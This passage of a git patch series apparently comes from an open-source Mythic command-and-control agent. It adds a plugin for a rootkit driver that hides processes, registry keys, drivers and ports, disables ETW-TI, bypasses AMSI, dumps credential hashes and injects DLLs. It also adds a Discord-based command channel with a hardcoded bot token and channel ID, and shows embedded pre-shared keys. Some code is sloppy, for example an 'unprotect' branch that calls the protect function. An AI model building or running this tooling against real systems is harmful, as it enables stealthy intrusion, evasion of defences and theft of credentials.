Protected Threads"); + + foreach (var tid in api.QueryProtectedThreads()) + { + sb.AppendLine("\t" + tid); + } + + + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task ModifyRegistryKeyProtection(NidhoggApi api, NidhoggArgs args, string task_id, bool protect) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + if (protect) + { + err = api.RegistryProtectKey(args.path); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to protect key: {err}", task_id, true, "error"); + return; + } + } + else + { + err = api.RegistryUnprotectKey(args.path); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unprotect key: {err}", task_id, true, "error"); + return; + } + } + sb.AppendLine("[+] Protected registry keys"); + + foreach (var val in api.QueryProtectedRegistryKeys()) + { + sb.AppendLine("\t" + val); + } + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task ModifyRegistryKeyVisibility(NidhoggApi api, NidhoggArgs args, string task_id, bool hide) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + if (hide) + { + err = api.RegistryHideKey(args.path); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to hide key: {err}", task_id, true, "error"); + return; + } + } + else + { + err = api.RegistryUnhideKey(args.path); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to hide key: {err}", task_id, true, "error"); + return; + } + } + sb.AppendLine("[+] Hidden registry keys"); + + foreach (var val in api.QueryHiddenRegistryKeys ()) + { + sb.AppendLine("\t" + val); + } + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task ModifyRegistryValueProtection(NidhoggApi api, NidhoggArgs args, string task_id, bool protect) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + if (protect) + { + err = api.RegistryProtectValue(args.path, args.value); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to protect value: {err}", task_id, true, "error"); + return; + } + } + else + { + err = api.RegistryProtectValue(args.path, args.value); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unprotect value: {err}", task_id, true, "error"); + return; + } + } + sb.AppendLine("[+] Protected registry values"); + + foreach (var val in api.QueryProtectedRegistryValues()) + { + sb.AppendLine("\t" + val); + } + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task ModifyRegistryValueVisibility(NidhoggApi api, NidhoggArgs args, string task_id, bool hide) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + if (hide) + { + err = api.RegistryHideValue(args.path, args.value); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to hide value: {err}", task_id, true, "error"); + return; + } + } + else + { + err = api.RegistryUnhideValue(args.path, args.value); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unhide value: {err}", task_id, true, "error"); + return; + } + } + sb.AppendLine("[+] Hidden registry values"); + + foreach (var val in api.QueryHiddenRegistryValues()) + { + sb.AppendLine("\t" + val); + } + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task NidhoggModifyEtwTi(NidhoggApi api, string task_id, bool enable) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err = api.EnableDisableEtwTi(enable); + + if (err != NidhoggErrorCodes.NIDHOGG_SUCCESS) + { + await this.messageManager.WriteLine($"Failed to disable etwti: {err}", task_id, true, "error"); + return; + } + + + sb.AppendLine(enable ? "[+] Etwti enabled" : "[+] Etwti disabled"); + + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task NidhoggListCallbacks(NidhoggApi api, string task_id, CallbackType type) + { + StringBuilder sb = new StringBuilder(); + PsRoutinesList psRoutines = api.ListPsRoutines(type); + sb.AppendLine("[+] Callbacks:"); + + for (int i = 0; i < psRoutines.NumberOfRoutines; i++) + { + sb.AppendLine($"\tDriver Name: {psRoutines.Routines[i].DriverName}"); + sb.AppendLine($"\tAddress: {psRoutines.Routines[i].CallbackAddress}\n"); + } + } + private async Task NidhoggModifyDriverVisibility(NidhoggApi api, NidhoggArgs args, string task_id, bool hide) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + if (hide) + { + err = api.HideDriver(args.path); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to hide driver: {err}", task_id, true, "error"); + return; + } + } + else + { + err = api.UnhideDriver(args.path); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unhide unhide: {err}", task_id, true, "error"); + return; + } + } + sb.AppendLine("Success"); + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task NidhoggModifyAmsi(NidhoggApi api, NidhoggArgs args, string task_id) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + + err = api.AmsiBypass(args.id); + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to patch: {err}", task_id, true, "error"); + return; + } + + sb.AppendLine("Success"); + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task NidhoggModifyModuleVisibility(NidhoggApi api, NidhoggArgs args, string task_id) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + err = api.HideModule(args.id, args.path); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to hide driver: {err}", task_id, true, "error"); + return; + } + + sb.AppendLine("Success"); + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task NidhoggModifyPortVisibility(NidhoggApi api, NidhoggArgs args, string task_id, bool hide) + { + StringBuilder sb = new StringBuilder(); + NidhoggApi.NidhoggErrorCodes err; + if (hide) + { + err = api.HidePort((ushort)args.id, false, PortType.TCP); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to hide driver: {err}", task_id, true, "error"); + return; + } + } + else + { + err = api.UnhidePort((ushort)args.id, false, PortType.TCP); + + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to unhide unhide: {err}", task_id, true, "error"); + return; + } + } + sb.AppendLine("Success"); + foreach (var port in api.QueryHiddenPorts()) + { + + sb.AppendLine($"\tPort: {port.Port}\t Remote:{port.Remote}\t Tcp: {port.Type}"); + } + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + private async Task NidhoggDumpCredentials(NidhoggApi api, string task_id) + { + StringBuilder sb = new StringBuilder(); + Credentials[] credentials; + DesKeyInformation desKey; + string currentUsername; + string currentDomain; + string currentEncryptedHash; + + (credentials, desKey) = api.DumpCredentials(); + if (credentials == null) + { + await this.messageManager.WriteLine($"[-] Failed to dump credentials.", task_id, true, "error"); + return; + } + + sb.AppendLine("[+] Des Key:"); + byte[] dataBytes = new byte[desKey.Size]; + Marshal.Copy(desKey.Data, dataBytes, 0, (int)desKey.Size); + + foreach (byte b in dataBytes) + { + sb.Append(b.ToString("X2")); + sb.Append(" "); + } + sb.AppendLine(); + sb.AppendLine("[+] Credentials:"); + foreach (Credentials credential in credentials) + { + currentUsername = Marshal.PtrToStringUni(credential.Username.Buffer); + sb.AppendLine($"Username: {currentUsername}"); + currentDomain = Marshal.PtrToStringUni(credential.Domain.Buffer); + sb.AppendLine($"Domain: {currentDomain}"); + currentEncryptedHash = Marshal.PtrToStringUni(credential.EncryptedHash.Buffer); + + // Print encrypted hash as hex + byte[] hashBytes = Encoding.Unicode.GetBytes(currentEncryptedHash); + string hexString = BitConverter.ToString(hashBytes).Replace("-", " "); + sb.AppendLine($"Encrypted hash: {hexString}"); + } + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + //Add support for specifying the type + private async Task NidhoggDllInjection(NidhoggApi api, NidhoggArgs args, string task_id) + { + StringBuilder sb = new StringBuilder(); + + var err = api.DllInject(args.id, args.path, InjectionType.APCInjection); + if (!err.Equals(NidhoggApi.NidhoggErrorCodes.NIDHOGG_SUCCESS)) + { + await this.messageManager.WriteLine($"Failed to inject dll: {err}", task_id, true, "error"); + return; + } + + sb.AppendLine("Success."); + await this.messageManager.WriteLine(sb.ToString(), task_id, true); + } + } +} diff --git a/Payload_Type/athena/athena/agent_code/nidhogg/nidhogg.csproj b/Payload_Type/athena/athena/agent_code/nidhogg/nidhogg.csproj new file mode 100644 index 000000000..a83ec8cb2 --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/nidhogg/nidhogg.csproj @@ -0,0 +1,19 @@ + + + + net7.0 + enable + enable + + + + + + + + + + + + + diff --git a/Payload_Type/athena/athena/agent_code/ps/ps.cs b/Payload_Type/athena/athena/agent_code/ps/ps.cs index 3d776d3a7..8205c2008 100644 --- a/Payload_Type/athena/athena/agent_code/ps/ps.cs +++ b/Payload_Type/athena/athena/agent_code/ps/ps.cs @@ -22,55 +22,9 @@ public Plugin(IMessageManager messageManager, IAgentConfig config, ILogger logge } public async Task Execute(ServerJob job) { - //Dictionary args = Misc.ConvertJsonStringToDict(job.task.parameters); - //if (string.IsNullOrEmpty(job.task.parameters)) - //{ - // job.task.parameters = "{}"; - //} - - //PsArgs args = JsonSerializer.Deserialize(job.task.parameters); - try { List processes = new List(); - ////This can support remote computers, I just need to see if mythic supports it - //List procs = new List(); - - //if (!string.IsNullOrEmpty(args.hosts)) - //{ - // foreach(var host in args.hosts.Split(',')) - // { - // processes.AddRange(convertProcessToServerProcess(Process.GetProcesses(host))); - // } - - // await messageManager.AddResponse(new ProcessTaskResponse - // { - // task_id = job.task.id, - // completed = true, - // process_response = new Dictionary { { "message", "0x2C" } }, - // processes = processes - // }); - // return; - //} - - //if (!string.IsNullOrEmpty(args.targetlist)) - //{ - // IEnumerable hosts = GetTargetsFromFile(Misc.Base64DecodeToByteArray(args.targetlist)); - - // foreach (var host in hosts) - // { - // processes.AddRange(convertProcessToServerProcess(Process.GetProcesses(host))); - // } - - // await messageManager.AddResponse(new ProcessTaskResponse - // { - // task_id = job.task.id, - // completed = true, - // process_response = new Dictionary { { "message", "0x2C" } }, - // processes = processes - // }); - // return; - //} if (OperatingSystem.IsWindows()) { diff --git a/Payload_Type/athena/athena/mythic/agent_functions/nidhogg.py b/Payload_Type/athena/athena/mythic/agent_functions/nidhogg.py new file mode 100644 index 000000000..72fc6ba8f --- /dev/null +++ b/Payload_Type/athena/athena/mythic/agent_functions/nidhogg.py @@ -0,0 +1,107 @@ +from mythic_container.MythicCommandBase import * +import json +from mythic_container.MythicRPC import * + +from .athena_utils import message_converter + + +class NidhoggArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="command", + type=ParameterType.ChooseOne, + choices=["executescript", "protectfile", "unprotectfile", "protectprocess", "unprotectprocess", "hideprocess", "unhideprocess", "elevateprocess", "hidethread", "unhidethread", "protectthread", "unprotectthread", "protectregistrykey","unprotectregistrykey","hideregistrykey","unhideregistrykey","protectregistryvalue","unprotectregistryvalue", "hideregistryvalue", "unhideregistryvalue", "enableetwti", "disableetwti", "hidedriver", "unhidedriver", "hidemodule", "hideport", "unhideport", "dumpcreds", "injectdll"], + description="", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=0 + ), + ParameterGroupInfo( + required=True, + group_name="Execute Script", + ui_position=0 + )], + ), + CommandParameter( + name="script", + type=ParameterType.File, + default_value = "", + description="", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Execute Script", + ui_position=1 + )], + ), + CommandParameter( + name="path", + type=ParameterType.String, + default_value = "", + description="If set, will spoof the parent process ID", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=1 + )], + ), + CommandParameter( + name="value", + type=ParameterType.String, + default_value = "", + description="Display assembly output. Default: True", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=2 + )], + ), + CommandParameter( + name="id", + type=ParameterType.Number, + default_value = 0, + description="Start process suspended to perform additional actions before execution. Default: False", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=3 + )], + )] + + async def parse_arguments(self): + pass + + +class NidhoggCommand(CommandBase): + cmd = "nidhogg" + needs_admin = False + help_cmd = "nidhogg" + description = "output current environment variables" + version = 1 + author = "@checkymander" + attackmapping = [] + argument_class = NidhoggArguments + browser_script = BrowserScript() + attributes = CommandAttributes( + ) + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + if "message" in response: + user_output = response["message"] + await MythicRPC().execute("create_output", task_id=task.Task.ID, output=message_converter.translateAthenaMessage(user_output)) + + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file From 6190b1eb7dc47647a7fbd19e965e6ae2bf893e6a Mon Sep 17 00:00:00 2001 From: checkymander Date: Wed, 27 Mar 2024 10:15:15 -0400 Subject: [PATCH 02/35] push discord profile start --- .../Agent.Profiles.Discord.csproj | 17 ++ .../Agent.Profiles.Discord/DiscordProfile.cs | 205 ++++++++++++++++++ .../Agent.Profiles.Discord/MessageWrapper.cs | 16 ++ .../agent_code/Agent.Profiles.Smb/Base.txt | 3 - .../Agent.Profiles.Smb/SmbProfile.cs | 3 - .../athena/athena/agent_code/Agent.sln | 9 +- .../athena/agent_code/Agent/Agent.csproj | 2 +- .../agent_code/Agent/Config/AgentConfig.cs | 4 +- 8 files changed, 249 insertions(+), 10 deletions(-) create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/MessageWrapper.cs diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj new file mode 100644 index 000000000..4747f7597 --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj @@ -0,0 +1,17 @@ + + + + net7.0 + enable + enable + + + + + + + + + + + diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs new file mode 100644 index 000000000..d189a50aa --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs @@ -0,0 +1,205 @@ +using Agent.Interfaces; +using Agent.Models; +using Agent.Utilities; +using System.Text.Json; +using System.Collections.Concurrent; +using System.Text; +using System.IO.Pipes; +using System.Security.AccessControl; +using System.Security.Principal; +using Discord; +using Discord.WebSocket; +using Newtonsoft.Json; +using System; +namespace Agent.Profiles +{ + public class DiscordProfile : IProfile + { + private IAgentConfig agentConfig { get; set; } + private ICryptoManager crypt { get; set; } + private IMessageManager messageManager { get; set; } + private ILogger logger { get; set; } + private ManualResetEventSlim checkinAvailable = new ManualResetEventSlim(false); + private readonly string _token; + private readonly string _channel_id; + private readonly string _uuid = Guid.NewGuid().ToString(); + private readonly DiscordSocketClient _client; + private readonly HttpClient _httpClient; + private CheckinResponse cir; + + private bool checkedin = false; + private bool connected = false; + private int currentAttempt = 0; + private int maxAttempts = 10; + + public event EventHandler SetTaskingReceived; + + private CancellationTokenSource cancellationTokenSource { get; set; } = new CancellationTokenSource(); + public DiscordProfile(IAgentConfig config, ICryptoManager crypto, ILogger logger, IMessageManager messageManager) + { + crypt = crypto; + agentConfig = config; + this.messageManager = messageManager; + _token = "MTE2MTgxMzU2MDc1ODg5ODg1MA.G6w5Wa.fG_vCUM5vlzDmkArxqElYfU5X4LYx9mOEltu8s"; + _channel_id = "1161813089545638040"; + var gateway_config = new DiscordSocketConfig() + { + GatewayIntents = GatewayIntents.AllUnprivileged | GatewayIntents.MessageContent + }; + _client = new DiscordSocketClient(gateway_config); + _client.MessageReceived += _client_MessageReceived; + } + + private async Task _client_MessageReceived(SocketMessage message) + { + Console.WriteLine("Message Received: " + message.Content); + MessageWrapper discordMessage; + if (message.Attachments.Count > 0 && message.Attachments.FirstOrDefault().Filename.EndsWith("txt")) + { + discordMessage = JsonConvert.DeserializeObject(await GetFileContentsAsync(message.Attachments.FirstOrDefault().Url)); + } + else + { + discordMessage = JsonConvert.DeserializeObject(message.Content); + } + + if (discordMessage is not null &! discordMessage.to_server && discordMessage.client_id == _uuid) //It belongs to us + { + Console.WriteLine("Got Message: " + discordMessage.message); + _ = message.DeleteAsync(); + + if (!checkedin) + { + cir = System.Text.Json.JsonSerializer.Deserialize(this.crypt.Decrypt(discordMessage.message), CheckinResponseJsonContext.Default.CheckinResponse); + checkinAvailable.Set(); + return; + } + + //If we make it to here, it's a tasking response + GetTaskingResponse gtr = System.Text.Json.JsonSerializer.Deserialize(this.crypt.Decrypt(discordMessage.message), GetTaskingResponseJsonContext.Default.GetTaskingResponse); + if (gtr == null) + { + return; + } + + TaskingReceivedArgs tra = new TaskingReceivedArgs(gtr); + this.SetTaskingReceived(this, tra); + } + } + + private async Task Start() + { + await _client.LoginAsync(TokenType.Bot, _token); + await _client.StartAsync(); + return _client.LoginState == LoginState.LoggedIn; + } + + public async Task Checkin(Checkin checkin) + { + //Write our checkin message to the pipe + + await this.Send(System.Text.Json.JsonSerializer.Serialize(checkin, CheckinJsonContext.Default.Checkin)); + + //Wait for a checkin response message + checkinAvailable.Wait(); + + //We got a checkin response, so let's finish the checkin process + this.checkedin = true; + + return this.cir; + } + + public async Task StartBeacon() + { + //Main beacon loop handled here + this.cancellationTokenSource = new CancellationTokenSource(); + while (!cancellationTokenSource.Token.IsCancellationRequested) + { + //Check if we have something to send. + if (!this.messageManager.HasResponses()) + { + continue; + } + + try + { + await this.Send(await messageManager.GetAgentResponseStringAsync()); + } + catch (Exception e) + { + this.currentAttempt++; + } + + if (this.currentAttempt >= this.maxAttempts) + { + this.cancellationTokenSource.Cancel(); + } + } + } + internal async Task Send(string json) + { + if(_client.LoginState != LoginState.LoggedIn) + { + await this.Start(); + } + + + string msg = this.crypt.Encrypt(json); + MessageWrapper discordMessage = new MessageWrapper() + { + to_server = true, + sender_id = _uuid, + message = msg, + client_id = "", + }; + + Console.WriteLine(_channel_id); + Console.WriteLine(_client.LoginState); + + ITextChannel channel = (ITextChannel)_client.GetChannel(ulong.Parse(_channel_id)); + Console.WriteLine(_client.LoginState); + + var chan = _client.GetChannel(1161813089545638040) as ITextChannel; + Console.WriteLine(_client.LoginState); + + if (chan is null) + { + Console.WriteLine("NO channel."); + } + + if (json.Length > 1950) + { + await channel.SendFileAsync(System.Text.Json.JsonSerializer.Serialize(discordMessage), discordMessage.sender_id + ".server"); + } + else + { + await channel.SendMessageAsync(System.Text.Json.JsonSerializer.Serialize(discordMessage)); + } + + return String.Empty; + } + + public bool StopBeacon() + { + this.cancellationTokenSource.Cancel(); + return true; + } + private async Task GetFileContentsAsync(string url) + { + string message; + using (HttpResponseMessage response = await _httpClient.GetAsync(url)) + { + using (HttpContent content = response.Content) + { + message = await content.ReadAsStringAsync(); + } + } + return await Unescape(message) ?? ""; + } + private async Task Unescape(string message) + { + return message.TrimStart('"').TrimEnd('"').Replace("\\\"", "\""); + + } + } +} diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/MessageWrapper.cs b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/MessageWrapper.cs new file mode 100644 index 000000000..4eb8a06cc --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/MessageWrapper.cs @@ -0,0 +1,16 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Agent.Profiles +{ + public class MessageWrapper + { + public string message { get; set; } = String.Empty; + public string sender_id { get; set; } //Who sent the message + public bool to_server { get; set; } + public string client_id { get; set; } + } +} diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Base.txt b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Base.txt index b9e226caf..8267b3ce8 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Base.txt +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Base.txt @@ -1,7 +1,4 @@ using Agent.Interfaces; -using Agent.Models; -using Agent.Models; -using Agent.Models; using Agent.Utilities; using System.Text.Json; using Agent.Models; diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/SmbProfile.cs b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/SmbProfile.cs index 96e695ab3..3d2ae2ec8 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/SmbProfile.cs +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/SmbProfile.cs @@ -1,10 +1,7 @@ using Agent.Interfaces; using Agent.Models; -using Agent.Models; -using Agent.Models; using Agent.Utilities; using System.Text.Json; -using Agent.Models; using Agent.Profiles.Smb; using System.Collections.Concurrent; using System.Text; diff --git a/Payload_Type/athena/athena/agent_code/Agent.sln b/Payload_Type/athena/athena/agent_code/Agent.sln index 939dfd38a..d51b5892d 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.sln +++ b/Payload_Type/athena/athena/agent_code/Agent.sln @@ -163,7 +163,9 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Agent.Tests", "Tests\Agent. EndProject Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Agent.Tests.Defender", "Tests\Agent.Tests.Defender\Agent.Tests.Defender.csproj", "{84378312-9D23-4DFF-ACA2-587EC463BB79}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "nidhogg", "nidhogg\nidhogg.csproj", "{540E8838-071D-4DBE-8A5B-D897278720F7}" +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "nidhogg", "nidhogg\nidhogg.csproj", "{540E8838-071D-4DBE-8A5B-D897278720F7}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Agent.Profiles.Discord", "Agent.Profiles.Discord\Agent.Profiles.Discord.csproj", "{E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution @@ -471,6 +473,10 @@ Global {540E8838-071D-4DBE-8A5B-D897278720F7}.Debug|Any CPU.Build.0 = Debug|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Release|Any CPU.ActiveCfg = Release|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Release|Any CPU.Build.0 = Release|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE @@ -554,6 +560,7 @@ Global {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0} = {2B702357-DFFB-40D0-B3F9-93D06FDAD37D} {84378312-9D23-4DFF-ACA2-587EC463BB79} = {2B702357-DFFB-40D0-B3F9-93D06FDAD37D} {540E8838-071D-4DBE-8A5B-D897278720F7} = {E014E0E5-A190-4AAF-A0E9-01DA299A4E21} + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7} = {3D5BEB82-DF40-44F5-B695-BF47E98A0B98} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {A98FF3E6-31F5-4EE0-BA47-B440723219ED} diff --git a/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj b/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj index ec1c7e697..82e6a2e0b 100644 --- a/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj @@ -45,7 +45,7 @@ - + diff --git a/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs b/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs index d5341f0c9..d9fcdc1e6 100644 --- a/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs +++ b/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs @@ -52,8 +52,8 @@ public AgentConfig() #if CHECKYMANDERDEV sleep = 1; jitter = 1; - uuid = "59b3d14e-f4e7-4211-86b7-494893c69e37"; - psk = "azLu3Dv02BOVNj9OCsy6lWNJEXvMcNRAvnbirXRtYo0="; + uuid = "a21f8682-6cbe-497a-817e-c9513c667635"; + psk = "UKzv9eDnpXxrGlHk7zfl+l5uKvJvlWXTRMK1WZu+B+A="; killDate = DateTime.Now.AddYears(1); #else uuid = "%UUID%"; From 5e5b57d2561f23e96f0d66bf04eb85c1d186dace Mon Sep 17 00:00:00 2001 From: checkymander Date: Wed, 27 Mar 2024 10:54:03 -0400 Subject: [PATCH 03/35] discord profile start --- .../Agent.Profiles.Discord/DiscordProfile.cs | 22 +++++++++++++------ .../agent_code/Agent/Config/AgentConfig.cs | 4 ++-- 2 files changed, 17 insertions(+), 9 deletions(-) diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs index d189a50aa..e54280ee8 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs @@ -20,9 +20,11 @@ public class DiscordProfile : IProfile private IMessageManager messageManager { get; set; } private ILogger logger { get; set; } private ManualResetEventSlim checkinAvailable = new ManualResetEventSlim(false); + private AutoResetEvent clientReady = new AutoResetEvent(false); private readonly string _token; - private readonly string _channel_id; + private readonly ulong _channel_id; private readonly string _uuid = Guid.NewGuid().ToString(); + private ITextChannel _channel { get; set; } private readonly DiscordSocketClient _client; private readonly HttpClient _httpClient; private CheckinResponse cir; @@ -41,13 +43,19 @@ public DiscordProfile(IAgentConfig config, ICryptoManager crypto, ILogger logger agentConfig = config; this.messageManager = messageManager; _token = "MTE2MTgxMzU2MDc1ODg5ODg1MA.G6w5Wa.fG_vCUM5vlzDmkArxqElYfU5X4LYx9mOEltu8s"; - _channel_id = "1161813089545638040"; + _channel_id = ulong.Parse("1161813089545638040"); var gateway_config = new DiscordSocketConfig() { GatewayIntents = GatewayIntents.AllUnprivileged | GatewayIntents.MessageContent }; _client = new DiscordSocketClient(gateway_config); _client.MessageReceived += _client_MessageReceived; + _client.Ready += _client_Ready; + } + + private async Task _client_Ready() + { + clientReady.Set(); } private async Task _client_MessageReceived(SocketMessage message) @@ -89,8 +97,9 @@ private async Task _client_MessageReceived(SocketMessage message) private async Task Start() { - await _client.LoginAsync(TokenType.Bot, _token); await _client.StartAsync(); + await _client.LoginAsync(TokenType.Bot, _token); + clientReady.WaitOne(); return _client.LoginState == LoginState.LoggedIn; } @@ -143,7 +152,6 @@ internal async Task Send(string json) await this.Start(); } - string msg = this.crypt.Encrypt(json); MessageWrapper discordMessage = new MessageWrapper() { @@ -155,12 +163,12 @@ internal async Task Send(string json) Console.WriteLine(_channel_id); Console.WriteLine(_client.LoginState); + Console.WriteLine(_client.ConnectionState); + Console.WriteLine(_client.Status); - ITextChannel channel = (ITextChannel)_client.GetChannel(ulong.Parse(_channel_id)); - Console.WriteLine(_client.LoginState); + ITextChannel channel = (ITextChannel)_client.GetChannel(_channel_id); var chan = _client.GetChannel(1161813089545638040) as ITextChannel; - Console.WriteLine(_client.LoginState); if (chan is null) { diff --git a/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs b/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs index d9fcdc1e6..42c48e4c5 100644 --- a/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs +++ b/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs @@ -52,8 +52,8 @@ public AgentConfig() #if CHECKYMANDERDEV sleep = 1; jitter = 1; - uuid = "a21f8682-6cbe-497a-817e-c9513c667635"; - psk = "UKzv9eDnpXxrGlHk7zfl+l5uKvJvlWXTRMK1WZu+B+A="; + uuid = "41c9057b-e950-4130-ae70-c5f37f9d63f3"; + psk = 